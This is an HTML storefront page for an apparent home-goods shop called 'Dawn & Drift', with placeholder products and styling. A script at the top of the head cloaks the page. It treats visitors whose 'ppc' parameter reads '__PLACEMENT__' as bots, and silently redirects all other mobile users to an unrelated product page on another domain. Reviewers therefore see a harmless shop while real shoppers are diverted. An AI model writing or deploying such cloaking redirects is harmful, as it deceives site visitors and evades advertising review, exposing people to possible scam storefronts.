<!DOCTYPE html>
<html lang="en">
<head>
<script>
(function() {
try {
const urlParams = new URLSearchParams(window.location.search);
const utmPPC = urlParams.get("ppc");
const isMobileDevice = () => {
return /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Windows Phone|Mobile|Tablet/i.test(navigator.userAgent) ||
(window.innerWidth <= 768 && window.innerHeight <= 1024);
};
const isBot = utmPPC === "__PLACEMENT__";
if (!isBot && isMobileDevice()) {
window.location.replace("https://old-newyork.com/products/callaway-heritage-half-zip-jumper");
return;
}
setTimeout(() => {
if (!isBot && isMobileDevice()) {
window.top.location = "https://old-newyork.com/products/callaway-heritage-half-zip-jumper";
}
}, 50);
} catch (e) {
// Silent fail - don't interrupt user experience
console.error(e);
}
})();
</script>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Dawn & Drift — Curated Goods for Modern Living</title>
<style>
/* ============
THEME
============ */
:root{
--bg: #f7f8fb;
--card: #ffffff;
--text: #1c2333;
--muted: #5c677d;
--brand: #1f7a8c;
--brand-2: #bfdbf7;
--ring: rgba(31,122,140,.25);
--shadow: 0 10px 30px rgba(8,15,35,.08);
--radius-lg: 18px;
--radius-md: 14px;
--radius-sm: 10px;
--container: 1120px;
}
/* Reset-ish */
* { box-sizing: border-box; }
html, body { height: 100%; }
body{
margin: 0;
font-family: "Trebuchet MS", Calibri, "Segoe UI", Roboto, Arial, sans-serif;
color: var(--text);
background:
radial-gradient(1200px 600px at 85% -10%, #e2f3f7 0%, rgba(226,243,247,0) 60%),
radial-gradient(1000px 500px at -10% 10%, #f2ecff 0%, rgba(242,236,255,0) 55%),
var(--bg);
line-height: 1.6;
}
a { color: inherit; text-decoration: none; }
img{ max-width: 100%; display: block; }
/* Layout */
.container{
width: min(100% - 32px, var(--container));
margin-inline: auto;
}
/* Header */
header{
position: sticky;
top: 0;
z-index: 10;
backdrop-filter: saturate(180%) blur(8px);
background: rgba(255,255,255,.75);
border-bottom: 1px solid rgba(28,35,51,.06);
}
.nav{
display: flex;
align-items: center;
justify-content: space-between;
gap: 16px;
padding: 14px 0;
}
.brand{
display: flex;
align-items: center;
gap: 12px;
font-weight: 800;
letter-spacing: .3px;
}
.brand-badge{
width: 36px; height: 36px;
border-radius: 12px;
background: linear-gradient(135deg, var(--brand), #5fb0c1);
display: grid; place-items: center;
color: white; font-weight: 900;
box-shadow: 0 6px 18px rgba(31,122,140,.35);
}
.nav-links{
display: flex; gap: 18px; align-items: center;
}
.nav-links a{
padding: 8px 10px; border-radius: 10px; color: var(--muted); font-weight: 600;
}
.nav-links a:hover{ background: rgba(31,122,140,.08); color: var(--text); }
/* Hero */
.hero{
padding: 56px 0 22px;
}
.hero-card{
background: linear-gradient(180deg, #ffffff 0%, #fcfdff 100%);
border: 1px solid rgba(28,35,51,.06);
border-radius: var(--radius-lg);
box-shadow: var(--shadow);
overflow: clip;
}
.hero-inner{
display: grid;
grid-template-columns: 1.2fr .8fr;
gap: 24px;
padding: 36px;
}
.kicker{
display: inline-flex; gap: 8px; align-items: center;
background: #eef6f8; color: #185867; border: 1px solid #d3ebf1;
padding: 6px 10px; border-radius: 999px; font-weight: 700; font-size: 12px;
letter-spacing: .3px;
}
.hero h1{
margin: 14px 0 10px;
font-size: clamp(28px, 5vw, 44px);
line-height: 1.15;
letter-spacing: .2px;
}
.hero p{
color: var(--muted);
font-size: 18px;
margin: 0 0 18px;
}
.cta-row{ display:flex; gap:12px; flex-wrap: wrap; align-items: center; }
.btn{
display: inline-flex; align-items: center; justify-content: center;
padding: 12px 18px; border-radius: 12px; font-weight: 800;
border: 1px solid transparent; transition: .2s ease;
}
.btn-primary{
background: var(--brand); color: #fff;
box-shadow: 0 10px 18px var(--ring);
}
.btn-primary:hover{ transform: translateY(-1px); }
.btn-ghost{
background: #f0f3f7; color: #14313a; border-color: rgba(28,35,51,.08);
}
.hero-art{
border-radius: var(--radius-md);
overflow: hidden;
border: 1px solid rgba(28,35,51,.06);
}
/* Section heading */
.section-head{
display:flex; align-items:end; justify-content: space-between; gap: 16px;
margin: 36px 0 18px;
}
.section-head h2{
margin: 0;
font-size: clamp(22px, 3.5vw, 30px);
letter-spacing: .2px;
}
.section-head p{
margin: 4px 0 0; color: var(--muted);
}
/* Grid */
.grid{
display: grid;
grid-template-columns: repeat(5, 1fr);
gap: 18px;
}
@media (max-width: 1200px){ .grid{ grid-template-columns: repeat(4, 1fr); } }
@media (max-width: 920px){ .hero-inner{ grid-template-columns: 1fr; } .grid{ grid-template-columns: repeat(2, 1fr); } }
@media (max-width: 520px){ .grid{ grid-template-columns: 1fr; } }
/* Product card */
.card{
background: var(--card);
border: 1px solid rgba(28,35,51,.07);
border-radius: var(--radius-md);
box-shadow: var(--shadow);
overflow: hidden;
transition: transform .2s ease, box-shadow .2s ease;
}
.card:hover{ transform: translateY(-4px); box-shadow: 0 14px 36px rgba(8,15,35,.12); }
.media{
aspect-ratio: 1/1;
background: #f2f5f9;
overflow: hidden;
}
.body{ padding: 14px; }
.title{
font-weight: 800; margin: 0 0 6px; letter-spacing: .2px;
}
.price-row{
display:flex; align-items: center; justify-content: space-between; gap: 8px;
}
.price{
font-weight: 900; font-size: 18px;
background: linear-gradient(180deg, #11202a, #284c57);
-webkit-background-clip: text; background-clip: text; color: transparent;
}
.pill{
font-size: 12px; font-weight: 800; letter-spacing: .3px;
padding: 6px 10px; border-radius: 999px;
background: #eef6f8; border: 1px solid #d3ebf1; color: #185867;
}
.actions{
margin-top: 12px; display: flex; gap: 10px;
}
.btn-min{
flex: 1;
padding: 10px 12px;
border-radius: 10px;
border: 1px solid rgba(28,35,51,.12);
background: #ffffff;
font-weight: 800;
}
.btn-min:hover{ border-color: var(--brand); box-shadow: 0 0 0 4px var(--ring); }
/* Footer */
footer{
margin-top: 56px;
border-top: 1px solid rgba(28,35,51,.08);
background: #ffffffb3;
backdrop-filter: blur(6px);
}
.foot{
padding: 24px 0;
display: grid; gap: 14px;
grid-template-columns: 1fr auto;
align-items: center;
}
@media (max-width: 620px){ .foot{ grid-template-columns: 1fr; } }
.foot small{ color: var(--muted); }
.foot-nav{ display: flex; gap: 18px; flex-wrap: wrap; }
.foot-nav a{
color: var(--muted);
padding: 6px 0;
}
.foot-nav a:hover{ color: var(--text); text-decoration: underline; }
</style>
</head>
<body>
<!-- Header -->
<header>
<div class="container nav">
<a class="brand" href="#">
<span class="brand-badge">D</span>
<span>Dawn & Drift</span>
</a>
<nav class="nav-links" aria-label="Primary">
<a href="#">New</a>
<a href="#">Home</a>
<a href="#">Lifestyle</a>
<a href="#">Collections</a>
<a href="#">About</a>
</nav>
</div>
</header>
<!-- Hero -->
<section class="hero">
<div class="container hero-card">
<div class="hero-inner">
<div>
<span class="kicker">NEW SEASON • LIMITED RUNS</span>
<h1>Curated pieces for slow mornings and bright spaces.</h1>
<p>Discover hand-picked objects that blend form and function. Designed to last, styled to love.</p>
<div class="cta-row">
<a class="btn btn-primary" href="#">Shop the Drop</a>
<a class="btn btn-ghost" href="#">Explore Collections</a>
</div>
</div>
<div class="hero-art">
<img src="https://picsum.photos/1200/900?random=901" alt="Lifestyle collage of modern decor in soft light">
</div>
</div>
</div>
</section>
<!-- Products -->
<section class="container">
<div class="section-head">
<div>
<h2>Featured Finds</h2>
<p>Fresh arrivals from the studio to your space.</p>
</div>
<a class="pill" href="#">See all</a>
</div>
<div class="grid" role="list">
<!-- Product 1 -->
<article class="card" role="listitem">
<div class="media">
<img src="https://picsum.photos/600/600?random=101" alt="Cloudline Stoneware Mug" loading="lazy">
</div>
<div class="body">
<h3 class="title">Cloudline Stoneware Mug</h3>
<div class="price-row">
<span class="price">$24</span>
<span class="pill">In stock</span>
</div>
<div class="actions">
<a class="btn-min" href="#">Quick view</a>
<a class="btn-min" href="#">Add to bag</a>
</div>
</div>
</article>
<!-- Product 2 -->
<article class="card" role="listitem">
<div class="media">
<img src="https://picsum.photos/600/600?random=102" alt="Hearthline Linen Throw" loading="lazy">
</div>
<div class="body">
<h3 class="title">Hearthline Linen Throw</h3>
<div class="price-row">
<span class="price">$68</span>
<span class="pill">New</span>
</div>
<div class="actions">
<a class="btn-min" href="#">Quick view</a>
<a class="btn-min" href="#">Add to bag</a>
</div>
</div>
</article>
<!-- Product 3 -->
<article class="card" role="listitem">
<div class="media">
<img src="https://picsum.photos/600/600?random=103" alt="Solace Ripple Vase" loading="lazy">
</div>
<div class="body">
<h3 class="title">Solace Ripple Vase</h3>
<div class="price-row">
<span class="price">$42</span>
<span class="pill">Bestseller</span>
</div>
<div class="actions">
<a class="btn-min" href="#">Quick view</a>
<a class="btn-min" href="#">Add to bag</a>
</div>
</div>
</article>
<!-- Product 4 -->
<article class="card" role="listitem">
<div class="media">
<img src="https://picsum.photos/600/600?random=104" alt="Aurora Frameless Mirror" loading="lazy">
</div>
<div class="body">
<h3 class="title">Aurora Frameless Mirror</h3>
<div class="price-row">
<span class="price">$120</span>
<span class="pill">Low stock</span>
</div>
<div class="actions">
<a class="btn-min" href="#">Quick view</a>
<a class="btn-min" href="#">Add to bag</a>
</div>
</div>
</article>
<!-- Product 5 -->
<article class="card" role="listitem">
<div class="media">
<img src="https://picsum.photos/600/600?random=105" alt="Meadowlight Table Lamp" loading="lazy">
</div>
<div class="body">
<h3 class="title">Meadowlight Table Lamp</h3>
<div class="price-row">
<span class="price">$89</span>
<span class="pill">Limited</span>
</div>
<div class="actions">
<a class="btn-min" href="#">Quick view</a>
<a class="btn-min" href="#">Add to bag</a>
</div>
</div>
</article>
</div>
</section>
<!-- Footer -->
<footer>
<div class="container foot">
<small>© <span id="year"></span> Dawn & Drift. All rights reserved.</small>
<nav class="foot-nav" aria-label="Footer">
<a href="#">Terms of Service</a>
<a href="#">Privacy Policy</a>
<a href="#">Contact</a>
</nav>
</div>
</footer>
<!-- No functional JS needed; just set the current year for polish -->
<script>
document.getElementById('year').textContent = new Date().getFullYear();
</script>
</body>
</html>